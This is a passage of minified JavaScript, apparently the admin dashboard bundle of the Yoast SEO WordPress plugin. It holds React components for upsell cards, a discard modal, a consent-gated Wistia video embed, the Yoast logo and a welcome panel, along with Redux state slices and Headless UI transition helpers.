(0,Ht.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,t.createElement)(ln,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};Nn.propTypes={premiumLink:Wr().string.isRequired,premiumUpsellConfig:Wr().object,isPromotionActive:Wr().func},Nn.defaultProps={premiumUpsellConfig:{},isPromotionActive:u.noop};const On=({premiumLink:e,premiumUpsellConfig:r,academyLink:n,isPromotionActive:a})=>(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 min-[783px]:yst-grid-cols-1 lg:yst-grid-cols-2 xl:yst-grid-cols-1 yst-gap-4"},(0,t.createElement)(Pn,{link:e,linkProps:r,isPromotionActive:a}),(0,t.createElement)(Gr,{link:n}));On.propTypes={premiumLink:Wr().string.isRequired,premiumUpsellConfig:Wr().object.isRequired,academyLink:Wr().string.isRequired,isPromotionActive:Wr().func.isRequired};const Tn=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),Ln=({isOpen:e,onClose:r=u.noop,onDiscard:n=u.noop,title:a,description:s,dismissLabel:o,discardLabel:i})=>{const l=(0,c.useSvgAria)();return(0,t.createElement)(c.Modal,{isOpen:e,onClose:r},(0,t.createElement)(c.Modal.Panel,{closeButtonScreenReaderText:(0,Ht.__)("Close","wordpress-seo")},(0,t.createElement)("div",{className:"sm:yst-flex sm:yst-items-start"},(0,t.createElement)("div",{className:"yst-mx-auto yst-flex-shrink-0 yst-flex yst-items-center yst-justify-center yst-h-12 yst-w-12 yst-rounded-full yst-bg-red-100 sm:yst-mx-0 sm:yst-h-10 sm:yst-w-10"},(0,t.createElement)(Tn,{className:"yst-h-6 yst-w-6 yst-text-red-600",...l})),(0,t.createElement)("div",{className:"yst-mt-3 yst-text-center sm:yst-mt-0 sm:yst-ml-4 sm:yst-text-left"},(0,t.createElement)(c.Modal.Title,{className:"yst-text-lg yst-leading-6 yst-font-medium yst-text-slate-900 yst-mb-3"},a),(0,t.createElement)(c.Modal.Description,{className:"yst-text-sm yst-text-slate-500"},s))),(0,t.createElement)("div",{className:"yst-flex yst-flex-col sm:yst-flex-row-reverse yst-gap-3 yst-mt-6"},(0,t.createElement)(c.Button,{type:"button",variant:"error",onClick:n,className:"yst-block"},i),(0,t.createElement)(c.Button,{type:"button",variant:"secondary",onClick:r,className:"yst-block"},o))))};Ln.propTypes={isOpen:Wr().bool.isRequired,onClose:Wr().func,onDiscard:Wr().func,title:Wr().string.isRequired,description:Wr().string.isRequired,dismissLabel:Wr().string.isRequired,discardLabel:Wr().string.isRequired};const In=window.yoast.reactHelmet,Mn=({videoId:e,thumbnail:r,wistiaEmbedPermission:n})=>{const[a,s]=(0,l.useState)(n.value?Jt:Yt),o=(0,l.useCallback)((()=>s(Jt)),[s]),i=(0,l.useCallback)((()=>{n.value?o():s(Kt)}),[n.value,o,s]),u=(0,l.useCallback)((()=>s(Yt)),[s]),d=(0,l.useCallback)((()=>{n.set(!0),o()}),[n.set,o]);return(0,t.createElement)(t.Fragment,null,n.value&&(0,t.createElement)(In.Helmet,null,(0,t.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,t.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},a===Yt&&(0,t.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:i},(0,t.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...r})),a===Kt&&(0,t.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,t.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},n.status===Gt&&(0,t.createElement)(c.Spinner,null),n.status!==Gt&&(0,Ht.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,Ht.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,t.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,t.createElement)(c.Button,{type:"button",variant:"secondary",onClick:u,disabled:n.status===Gt},(0,Ht.__)("Deny","wordpress-seo")),(0,t.createElement)(c.Button,{type:"button",variant:"primary",onClick:d,disabled:n.status===Gt},(0,Ht.__)("Allow","wordpress-seo")))),n.value&&a===Jt&&(0,t.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,t.createElement)(c.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,t.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};var An,Dn;function Fn(){return Fn=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},Fn.apply(this,arguments)}Mn.propTypes={videoId:Wr().string.isRequired,thumbnail:Wr().shape({src:Wr().string.isRequired,width:Wr().string,height:Wr().string}).isRequired,wistiaEmbedPermission:Wr().shape({value:Wr().bool.isRequired,status:Wr().string.isRequired,set:Wr().func.isRequired}).isRequired};const jn=e=>t.createElement("svg",Fn({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",className:"yoast-logo_svg__w-40",viewBox:"0 0 842 224"},e),An||(An=t.createElement("path",{fill:"#a61e69",d:"M166.55 54.09c-38.69 0-54.17 25.97-54.17 54.88s15.25 56.02 54.17 56.02 54.07-27.19 54-54.26c-.09-32.97-16.77-56.65-54-56.65Zm-23.44 56.52c.94-38.69 30.66-38.65 40.59-24.79 9.05 12.63 10.9 55.81-17.14 55.5-12.92-.14-23.06-8.87-23.44-30.71Zm337.25 27.55V82.11h20.04V57.78h-20.04V28.39h-30.95v29.39h-15.7v24.33h15.7v52.87c0 30.05 20.95 47.91 43.06 51.61l9.24-24.88c-12.89-1.63-21.23-11.27-21.35-23.54Zm-156.15-8.87V87.16c0-1.54-.1-2.98-.25-4.39-2.68-34.04-51.02-33.97-88.46-20.9l10.82 21.78c24.38-11.58 38.97-8.59 44.07-2.89.13.15.26.29.38.45.01.02.03.04.04.06 2.6 3.51 1.98 9.05 1.98 13.41-31.86 0-65.77 4.23-65.77 39.17 0 26.56 33.28 43.65 68.06 18.33l5.16 12.45h29.81c-2.66-14.62-5.85-27.14-5.85-35.34Zm-31.18-.23c-24.51 27.43-46.96 1.61-23.97-9.65 6.77-2.31 15.95-2.41 23.97-2.41v12.06Zm78.75-44.17c0-10.38 16.61-15.23 42.82-3.27l9.06-22.01c-35.27-10.66-83.44-11.62-83.75 25.28-.15 17.68 11.19 27.19 27.52 33.26 11.31 4.2 27.64 6.38 27.59 15.39-.06 11.77-25.38 13.57-48.42-2.26l-9.31 23.87c31.43 15.64 89.87 16.08 89.56-23.12-.31-38.76-55.08-32.11-55.08-47.14ZM99.3 1 54.44 125.61 32.95 58.32H1l35.78 91.89a33.49 33.49 0 0 1 0 24.33c-4 10.25-10.65 19.03-26.87 21.21v27.24c31.58 0 48.65-19.41 63.88-61.96L133.48 1H99.3ZM598.64 139.05c0 8.17-2.96 14.58-8.87 19.23-5.91 4.65-14.07 6.98-24.47 6.98s-18.92-1.61-25.54-4.84v-14.2c4.19 1.97 8.65 3.52 13.37 4.65 4.72 1.13 9.11 1.7 13.18 1.7 5.95 0 10.35-1.13 13.18-3.39 2.83-2.26 4.25-5.3 4.25-9.11 0-3.43-1.3-6.35-3.9-8.74-2.6-2.39-7.97-5.22-16.1-8.48-8.39-3.39-14.3-7.27-17.74-11.63-3.44-4.36-5.16-9.59-5.16-15.71 0-7.67 2.72-13.7 8.18-18.1 5.45-4.4 12.77-6.6 21.95-6.6s17.57 1.93 26.29 5.78l-4.78 12.26c-8.18-3.43-15.47-5.15-21.89-5.15-4.87 0-8.55 1.06-11.07 3.17-2.52 2.12-3.77 4.91-3.77 8.39 0 2.39.5 4.43 1.51 6.13s2.66 3.3 4.97 4.81c2.3 1.51 6.46 3.5 12.45 5.97 6.75 2.81 11.7 5.43 14.85 7.86 3.15 2.43 5.45 5.18 6.92 8.23 1.46 3.06 2.2 6.66 2.2 10.81Zm68.53 24.96h-52.02V72.12h52.02v12.7h-36.99v25.01h34.66v12.57h-34.66v28.85h36.99v12.76Zm100.24-46.07c0 14.96-3.74 26.59-11.23 34.88-7.49 8.3-18.08 12.44-31.8 12.44s-24.54-4.12-31.99-12.35c-7.44-8.23-11.17-19.93-11.17-35.1s3.74-26.82 11.23-34.95c7.49-8.13 18.17-12.19 32.05-12.19s24.24 4.13 31.7 12.38c7.47 8.26 11.2 19.88 11.2 34.88Zm-70.2 0c0 11.31 2.29 19.89 6.86 25.74 4.57 5.85 11.35 8.77 20.32 8.77s15.67-2.89 20.22-8.67c4.55-5.78 6.82-14.39 6.82-25.83s-2.25-19.82-6.76-25.64-11.23-8.74-20.16-8.74-15.82 2.91-20.41 8.74c-4.59 5.82-6.89 14.37-6.89 25.64Z"})),Dn||(Dn=t.createElement("path",{fill:"#77b227",d:"m790.45 165.35 36.05-94.96H840l-36.02 94.96h-13.53z"}))),zn=({userName:e,features:r,links:n})=>(0,t.createElement)(c.Paper,{className:"yst-shadow-md"},(0,t.createElement)(c.Paper.Content,{className:"yst-flex yst-flex-col yst-gap-y-4 yst-max-w-screen-sm"},(0,t.createElement)(c.Title,{as:"h1"},(0,Ht.sprintf)((0,Ht.__)("Hi %s,","wordpress-seo"),e)),(0,t.createElement)("p",{className:"yst-text-tiny"},!r.indexables||r.seoAnalysis||r.readabilityAnalysis?(0,l.createInterpolateElement)((0,Ht.sprintf)(/* translators: %1$s and %2$s expand to an opening and closing anchor tag. */
(0,Ht.__)("Welcome to your dashboard! Check your content's SEO performance, readability, and overall strengths and opportunities. %1$sLearn more about the dashboard%2$s.","wordpress-seo"),"<link>","</link>"),{link:(0,t.createElement)(on,{href:n.dashboardLearnMore}," ")}):(0,l.createInterpolateElement)((0,Ht.sprintf)(
/**
 * translators: %1$s and %2$s expand to an opening and closing anchor tag, to the site features page.
 * %3$s and %4$s expand to an opening and closing anchor tag, to the user profile page.
 **/
(0,Ht.__)("It looks like the ‘SEO analysis’ and the ‘Readability analysis’ are currently disabled in your %1$sSite features%2$s or your %3$suser profile settings%4$s. Enable these features to start seeing all the insights you need right here!","wordpress-seo"),"<link>","</link>","<profilelink>","</profilelink>"),{link:(0,t.createElement)(c.Link,{href:"admin.php?page=wpseo_page_settings#/site-features"}," "),profilelink:(0,t.createElement)(c.Link,{href:"profile.php"}," ")})),!r.indexables&&(0,t.createElement)(c.Alert,{type:"info"},(0,Ht.__)("Oops! You can’t see the overview of your SEO scores and readability scores right now because you’re in a non-production environment.","wordpress-seo")))),Un=({contentTypes:e,userName:r,features:n,endpoints:a,headers:s,links:o})=>(0,t.createElement)(t.Fragment,null,(0,t.createElement)(zn,{userName:r,features:n,links:o}),(0,t.createElement)("div",{className:"yst-flex yst-flex-col @7xl:yst-flex-row yst-gap-6 yst-my-6"},n.indexables&&n.seoAnalysis&&(0,t.createElement)(Vr,{analysisType:"seo",contentTypes:e,endpoint:a.seoScores,headers:s}),n.indexables&&n.readabilityAnalysis&&(0,t.createElement)(Vr,{analysisType:"readability",contentTypes:e,endpoint:a.readabilityScores,headers:s}))),$n=window.yoast.reduxJsToolkit,qn="adminUrl",Bn=(0,$n.createSlice)({name:qn,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),Hn=(Bn.getInitialState,{selectAdminUrl:e=>(0,u.get)(e,qn,"")});Hn.selectAdminLink=(0,$n.createSelector)([Hn.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),Bn.actions,Bn.reducer;const Vn=window.wp.url,Zn="linkParams",Wn=(0,$n.createSlice)({name:Zn,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),Gn=Wn.getInitialState,Yn={selectLinkParam:(e,t,r={})=>(0,u.get)(e,`${Zn}.${t}`,r),selectLinkParams:e=>(0,u.get)(e,Zn,{})};Yn.selectLink=(0,$n.createSelector)([Yn.selectLinkParams,(e,t)=>t,(e,t,r={})=>r],((e,t,r)=>(0,Vn.addQueryArgs)(t,{...e,...r})));const Kn=Wn.actions,Jn=Wn.reducer,Qn=(0,$n.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:r="default",title:n,description:a})=>({payload:{id:e||(0,$n.nanoid)(),variant:t,size:r,title:n||"",description:a}})},removeNotification:(e,{payload:t})=>(0,u.omit)(e,t)}}),Xn=(Qn.getInitialState,Qn.actions,Qn.reducer,"pluginUrl"),ea=(0,$n.createSlice)({name:Xn,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),ta=(ea.getInitialState,{selectPluginUrl:e=>(0,u.get)(e,Xn,"")});ta.selectImageLink=(0,$n.createSelector)([ta.selectPluginUrl,(e,t,r="images")=>r,(e,t)=>t],((e,t,r)=>[(0,u.trimEnd)(e,"/"),(0,u.trim)(t,"/"),(0,u.trimStart)(r,"/")].join("/"))),ea.actions,ea.reducer;const ra=window.wp.apiFetch;var na=r.n(ra);const aa="wistiaEmbedPermission",sa=(0,$n.createSlice)({name:aa,initialState:{value:!1,status:"idle",error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${aa}/${Vt}`,(e=>{e.status=Gt})),e.addCase(`${aa}/${Zt}`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${aa}/${Wt}`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,u.get)(t,"error.code",500),message:(0,u.get)(t,"error.message","Unknown")}}))}});sa.getInitialState,sa.actions,sa.reducer;const oa="adminNotices",ia=(0,$n.createSlice)({name:oa,initialState:{notices:function(){const e=[...Array.from(document.querySelectorAll(".notice-yoast:not(.yoast-webinar-dashboard)")),...Array.from(document.querySelectorAll(".yoast-migrated-notice"))],t=e.map((e=>e.id)),r=e.map((e=>e.querySelector(".yoast-notice-migrated-header"))),n=function(e){return e.forEach((e=>{e&&e.querySelectorAll("a.button").forEach((e=>{e.classList.remove("button"),e.classList.add("yst-button"),e.classList.add("yst-button--primary"),e.classList.add("yst-mt-4")}))})),e}(e.map((e=>e.querySelector(".notice-yoast-content")))),a=e.map((e=>e.classList.contains("is-dismissible")));return e.map(((e,s)=>({originalNotice:e,id:t[s],header:r[s].outerHTML,content:n[s].outerHTML,isDismissable:a[s],isDismissed:!1})))}()},reducers:{dismissNotice(e,{payload:t}){e.notices.map((e=>{e.id===t&&(e.isDismissed=!0)}))},restoreNotice(e,{payload:t}){e.notices.map((e=>{e.id===t&&(e.isDismissed=!1)}))}}}),la=ia.getInitialState,ca={selectNotices:e=>(0,u.get)(e,`${oa}.notices`,[])},ua=ia.actions,da=ia.reducer;function pa(...e){return e.filter(Boolean).join(" ")}function ma(e,t,...r){if(e in t){let n=t[e];return"function"==typeof n?n(...r):n}let n=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map((e=>`"${e}"`)).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(n,ma),n}var fa,ya,ha=((ya=ha||{})[ya.None=0]="None",ya[ya.RenderStrategy=1]="RenderStrategy",ya[ya.Static=2]="Static",ya),ga=((fa=ga||{})[fa.Unmount=0]="Unmount",fa[fa.Hidden=1]="Hidden",fa);function va({ourProps:e,theirProps:t,slot:r,defaultTag:n,features:a,visible:s=!0,name:o}){let i=wa(t,e);if(s)return ba(i,r,n,o);let l=null!=a?a:0;if(2&l){let{static:e=!1,...t}=i;if(e)return ba(t,r,n,o)}if(1&l){let{unmount:e=!0,...t}=i;return ma(e?0:1,{0:()=>null,1:()=>ba({...t,hidden:!0,style:{display:"none"}},r,n,o)})}return ba(i,r,n,o)}function ba(e,r={},n,a){var s;let{as:o=n,children:i,refName:l="ref",...c}=Sa(e,["unmount","static"]),u=void 0!==e.ref?{[l]:e.ref}:{},d="function"==typeof i?i(r):i;c.className&&"function"==typeof c.className&&(c.className=c.className(r));let p={};if(r){let e=!1,t=[];for(let[n,a]of Object.entries(r))"boolean"==typeof a&&(e=!0),!0===a&&t.push(n);e&&(p["data-headlessui-state"]=t.join(" "))}if(o===t.Fragment&&Object.keys(xa(c)).length>0){if(!(0,t.isValidElement)(d)||Array.isArray(d)&&d.length>1)throw new Error(['Passing props on "Fragment"!',"",`The current component <${a} /> is rendering a "Fragment".`,"However we need to passthrough the following props:",Object.keys(c).map((e=>`  - ${e}`)).join("\n"),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "Fragment".',"Render a single element as the child so that we can forward the props onto that element."].map((e=>`  - ${e}`)).join("\n")].join("\n"));let e=pa(null==(s=d.props)?void 0:s.className,c.className),r=e?{className:e}:{};return(0,t.cloneElement)(d,Object.assign({},wa(d.props,xa(Sa(c,["ref"]))),p,u,function(...e){return{ref:e.every((e=>null==e))?void 0:t=>{for(let r of e)null!=r&&("function"==typeof r?r(t):r.current=t)}}}(d.ref,u.ref),r))}return(0,t.createElement)(o,Object.assign({},Sa(c,["ref"]),o!==t.Fragment&&u,o!==t.Fragment&&p),d)}function wa(...e){if(0===e.length)return{};if(1===e.length)return e[0];let t={},r={};for(let n of e)for(let e in n)e.startsWith("on")&&"function"==typeof n[e]?(null!=r[e]||(r[e]=[]),r[e].push(n[e])):t[e]=n[e];if(t.disabled||t["aria-disabled"])return Object.assign(t,Object.fromEntries(Object.keys(r).map((e=>[e,void 0]))));for(let e in r)Object.assign(t,{[e](t,...n){let a=r[e];for(let e of a){if((t instanceof Event||(null==t?void 0:t.nativeEvent)instanceof Event)&&t.defaultPrevented)return;e(t,...n)}}});return t}function Ea(e){var r;return Object.assign((0,t.forwardRef)(e),{displayName:null!=(r=e.displayName)?r:e.name})}function xa(e){let t=Object.assign({},e);for(let e in t)void 0===t[e]&&delete t[e];return t}function Sa(e,t=[]){let r=Object.assign({},e);for(let e of t)e in r&&delete r[e];return r}let _a=(0,t.createContext)(null);_a.displayName="OpenClosedContext";var ka=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(ka||{});function Ra(){return(0,t.useContext)(_a)}function Ca({value:e,children:r}){return t.createElement(_a.Provider,{value:e},r)}var Pa=Object.defineProperty,Na=(e,t,r)=>(((e,t,r)=>{t in e?Pa(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r})(e,"symbol"!=typeof t?t+"":t,r),r);let Oa=new class{constructor(){Na(this,"current",this.detect()),Na(this,"handoffState","pending"),Na(this,"currentId",0)}set(e){this.current!==e&&(this.handoffState="pending",this.currentId=0,this.current=e)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return"server"===this.current}get isClient(){return"client"===this.current}detect(){return"undefined"==typeof window||"undefined"==typeof document?"server":"client"}handoff(){"pending"===this.handoffState&&(this.handoffState="complete")}get isHandoffComplete(){return"complete"===this.handoffState}},Ta=(e,r)=>{Oa.isServer?(0,t.useEffect)(e,r):(0,t.useLayoutEffect)(e,r)};function La(){let e=(0,t.useRef)(!1);return Ta((()=>(e.current=!0,()=>{e.current=!1})),[]),e}function Ia(e){let r=(0,t.useRef)(e);return Ta((()=>{r.current=e}),[e]),r}function Ma(){let[e,r]=(0,t.useState)(Oa.isHandoffComplete);return e&&!1===Oa.isHandoffComplete&&r(!1),(0,t.useEffect)((()=>{!0!==e&&r(!0)}),[e]),(0,t.useEffect)((()=>Oa.handoff()),[]),e}let Aa=function(e){let r=Ia(e);return t.useCallback(((...e)=>r.current(...e)),[r])},Da=Symbol();function Fa(e,t=!0){return Object.assign(e,{[Da]:t})}function ja(...e){let r=(0,t.useRef)(e);(0,t.useEffect)((()=>{r.current=e}),[e]);let n=Aa((e=>{for(let t of r.current)null!=t&&("function"==typeof t?t(e):t.current=e)}));return e.every((e=>null==e||(null==e?void 0:e[Da])))?void 0:n}function za(){let e=[],t=[],r={enqueue(e){t.push(e)},addEventListener:(e,t,n,a)=>(e.addEventListener(t,n,a),r.add((()=>e.removeEventListener(t,n,a)))),requestAnimationFrame(...e){let t=requestAnimationFrame(...e);return r.add((()=>cancelAnimationFrame(t)))},nextFrame:(...e)=>r.requestAnimationFrame((()=>r.requestAnimationFrame(...e))),setTimeout(...e){let t=setTimeout(...e);return r.add((()=>clearTimeout(t)))},microTask(...e){let t={current:!0};return function(e){"function"==typeof queueMicrotask?queueMicrotask(e):Promise.resolve().then(e).catch((e=>setTimeout((()=>{throw e}))))}((()=>{t.current&&e[0]()})),r.add((()=>{t.current=!1}))},add:t=>(e.push(t),()=>{let r=e.indexOf(t);if(r>=0){let[t]=e.splice(r,1);t()}}),dispose(){for(let t of e.splice(0))t()},async workQueue(){for(let e of t.splice(0))await e()}};return r}function Ua(e,...t){e&&t.length>0&&e.classList.add(...t)}function $a(e,...t){e&&t.length>0&&e.classList.remove(...t)}function qa(){let[e]=(0,t.useState)(za);return(0,t.useEffect)((()=>()=>e.dispose()),[e]),e}function Ba({container:e,direction:t,classes:r,onStart:n,onStop:a}){let s=La(),o=qa(),i=Ia(t);Ta((()=>{let t=za();o.add(t.dispose);let l=e.current;if(l&&"idle"!==i.current&&s.current)return t.dispose(),n.current(i.current),t.add(function(e,t,r,n){let a=r?"enter":"leave",s=za(),o=void 0!==n?function(e){let t={called:!1};return(...r)=>{if(!t.called)return t.called=!0,e(...r)}}(n):()=>{};"enter"===a&&(e.removeAttribute("hidden"),e.style.display="");let i=ma(a,{enter:()=>t.enter,leave:()=>t.leave}),l=ma(a,{enter:()=>t.enterTo,leave:()=>t.leaveTo}),c=ma(a,{enter:()=>t.enterFrom,leave:()=>t.leaveFrom});return $a(e,...t.enter,...t.enterTo,...t.enterFrom,...t.leave,...t.leaveFrom,...t.leaveTo,...t.entered),Ua(e,...i,...c),s.nextFrame((()=>{$a(e,...c),Ua(e,...l),function(e,t){let r=za();if(!e)return r.dispose;let{transitionDuration:n,transitionDelay:a}=getComputedStyle(e),[s,o]=[n,a].map((e=>{let[t=0]=e.split(",").filter(Boolean).map((e=>e.includes("ms")?parseFloat(e):1e3*parseFloat(e))).sort(((e,t)=>t-e));return t}));if(s+o!==0){let n=r.addEventListener(e,"transitionend",(e=>{e.target===e.currentTarget&&(t(),n())}))}else t();r.add((()=>t())),r.dispose}(e,(()=>($a(e,...i),Ua(e,...t.entered),o())))})),s.dispose}(l,r.current,"enter"===i.current,(()=>{t.dispose(),a.current(i.current)}))),t.dispose}),[t])}function Ha(e=""){return e.split(" ").filter((e=>e.trim().length>1))}let Va=(0,t.createContext)(null);Va.displayName="TransitionContext";var Za=(e=>(e.Visible="visible",e.Hidden="hidden",e))(Za||{});let Wa=(0,t.createContext)(null);function Ga(e){return"children"in e?Ga(e.children):e.current.filter((({el:e})=>null!==e.current)).filter((({state:e})=>"visible"===e)).length>0}function Ya(e,r){let n=Ia(e),a=(0,t.useRef)([]),s=La(),o=qa(),i=Aa(((e,t=ga.Hidden)=>{let r=a.current.findIndex((({el:t})=>t===e));-1!==r&&(ma(t,{[ga.Unmount](){a.current.splice(r,1)},[ga.Hidden](){a.current[r].state="hidden"}}),o.microTask((()=>{var e;!Ga(a)&&s.current&&(null==(e=n.current)||e.call(n))})))})),l=Aa((e=>{let t=a.current.find((({el:t})=>t===e));return t?"visible"!==t.state&&(t.state="visible"):a.current.push({el:e,state:"visible"}),()=>i(e,ga.Unmount)})),c=(0,t.useRef)([]),u=(0,t.useRef)(Promise.resolve()),d=(0,t.useRef)({enter:[],leave:[],idle:[]}),p=Aa(((e,t,n)=>{c.current.splice(0),r&&(r.chains.current[t]=r.chains.current[t].filter((([t])=>t!==e))),null==r||r.chains.current[t].push([e,new Promise((e=>{c.current.push(e)}))]),null==r||r.chains.current[t].push([e,new Promise((e=>{Promise.all(d.current[t].map((([e,t])=>t))).then((()=>e()))}))]),"enter"===t?u.current=u.current.then((()=>null==r?void 0:r.wait.current)).then((()=>n(t))):n(t)})),m=Aa(((e,t,r)=>{Promise.all(d.current[t].splice(0).map((([e,t])=>t))).then((()=>{var e;null==(e=c.current.shift())||e()})).then((()=>r(t)))}));return(0,t.useMemo)((()=>({children:a,register:l,unregister:i,onStart:p,onStop:m,wait:u,chains:d})),[l,i,a,p,m,d,u])}function Ka(){}Wa.displayName="NestingContext";let Ja=["beforeEnter","afterEnter","beforeLeave","afterLeave"];function Qa(e){var t;let r={};for(let n of Ja)r[n]=null!=(t=e[n])?t:Ka;return r}let Xa=ha.RenderStrategy,es=Ea((function(e,r){let{beforeEnter:n,afterEnter:a,beforeLeave:s,afterLeave:o,enter:i,enterFrom:l,enterTo:c,entered:u,leave:d,leaveFrom:p,leaveTo:m,...f}=e,y=(0,t.useRef)(null),h=ja(y,r),g=f.unmount?ga.Unmount:ga.Hidden,{show:v,appear:b,initial:w}=function(){let e=(0,t.useContext)(Va);if(null===e)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return e}(),[E,x]=(0,t.useState)(v?"visible":"hidden"),S=function(){let e=(0,t.useContext)(Wa);if(null===e)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return e}(),{register:_,unregister:k}=S,R=(0,t.useRef)(null);(0,t.useEffect)((()=>_(y)),[_,y]),(0,t.useEffect)((()=>{if(g===ga.Hidden&&y.current)return v&&"visible"!==E?void x("visible"):ma(E,{hidden:()=>k(y),visible:()=>_(y)})}),[E,y,_,k,v,g]);let C=Ia({enter:Ha(i),enterFrom:Ha(l),enterTo:Ha(c),entered:Ha(u),leave:Ha(d),leaveFrom:Ha(p),leaveTo:Ha(m)}),P=function(e){let r=(0,t.useRef)(Qa(e));return(0,t.useEffect)((()=>{r.current=Qa(e)}),[e]),r}({beforeEnter:n,afterEnter:a,beforeLeave:s,afterLeave:o}),N=Ma();(0,t.useEffect)((()=>{if(N&&"visible"===E&&null===y.current)throw new Error("Did you forget to passthrough the `ref` to the actual DOM node?")}),[y,E,N]);let O=w&&!b,T=!N||O||R.current===v?"idle":v?"enter":"leave",L=Aa((e=>ma(e,{enter:()=>P.current.beforeEnter(),leave:()=>P.current.beforeLeave(),idle:()=>{}}))),I=Aa((e=>ma(e,{enter:()=>P.current.afterEnter(),leave:()=>P.current.afterLeave(),idle:()=>{}}))),M=Ya((()=>{x("hidden"),k(y)}),S);Ba({container:y,classes:C,direction:T,onStart:Ia((e=>{M.onStart(y,e,L)})),onStop:Ia((e=>{M.onStop(y,e,I),"leave"===e&&!Ga(M)&&(x("hidden"),k(y))}))}),(0,t.useEffect)((()=>{!O||(g===ga.Hidden?R.current=null:R.current=v)}),[v,O,E]);let A=f,D={ref:h};return b&&v&&Oa.isServer&&(A={...A,className:pa(f.className,...C.current.enter,...C.current.enterFrom)}),t.createElement(Wa.Provider,{value:M},t.createElement(Ca,{value:ma(E,{visible:ka.Open,hidden:ka.Closed})},va({ourProps:D,theirProps:A,defaultTag:"div",features:Xa,visible:"visible"===E,name:"Transition.Child"})))})),ts=Ea((function(e,r){let{show:n,appear:a=!1,unmount:s,...o}=e,i=(0,t.useRef)(null),l=ja(i,r);Ma();let c=Ra();if(void 0===n&&null!==c&&(n=ma(c,{[ka.Open]:!0,[ka.Closed]:!1})),![!0,!1].includes(n))throw new Error("A <Transition /> is used but it is missing a `show={true | false}` prop.");let[u,d]=(0,t.useState)(n?"visible":"hidden"),p=Ya((()=>{d("hidden")})),[m,f]=(0,t.useState)(!0),y=(0,t.useRef)([n]);Ta((()=>{!1!==m&&y.current[y.current.length-1]!==n&&(y.current.push(n),f(!1))}),[y,n]);let h=(0,t.useMemo)((()=>({show:n,appear:a,initial:m})),[n,a,m]);(0,t.useEffect)((()=>{if(n)d("visible");else if(Ga(p)){let e=i.current;if(!e)return;let t=e.getBoundingClientRect();0===t.x&&0===t.y&&0===t.width&&0===t.height&&d("hidden")}else d("hidden")}),[n,p]);let g={unmount:s};return t.createElement(Wa.Provider,{value:p},t.createElement(Va.Provider,{value:h},va({ourProps:{...g,as:t.Fragment,children:t.createElement(es,{ref:l,...g,...o})},theirProps:{},defaultTag:t.Fragment,features:Xa,visible:"visible"===u,name:"Transition"})))})),rs=Ea((function(e,r){let n=null!==(0,t.useContext)(Va),a=null!==Ra();return t.createElement(t.Fragment,null,!n&&a?t.createElement(ts,{ref:r,...e}):t.createElement(es,{ref:r,...e}))})),ns=Object.assign(ts,{Child:rs,Root:ts});const as=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11 3.055A9.001 9.001 0 1020.945 13H11V3.055z"}),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.488 9H15V3.512A9.025 9.025 0 0120.488 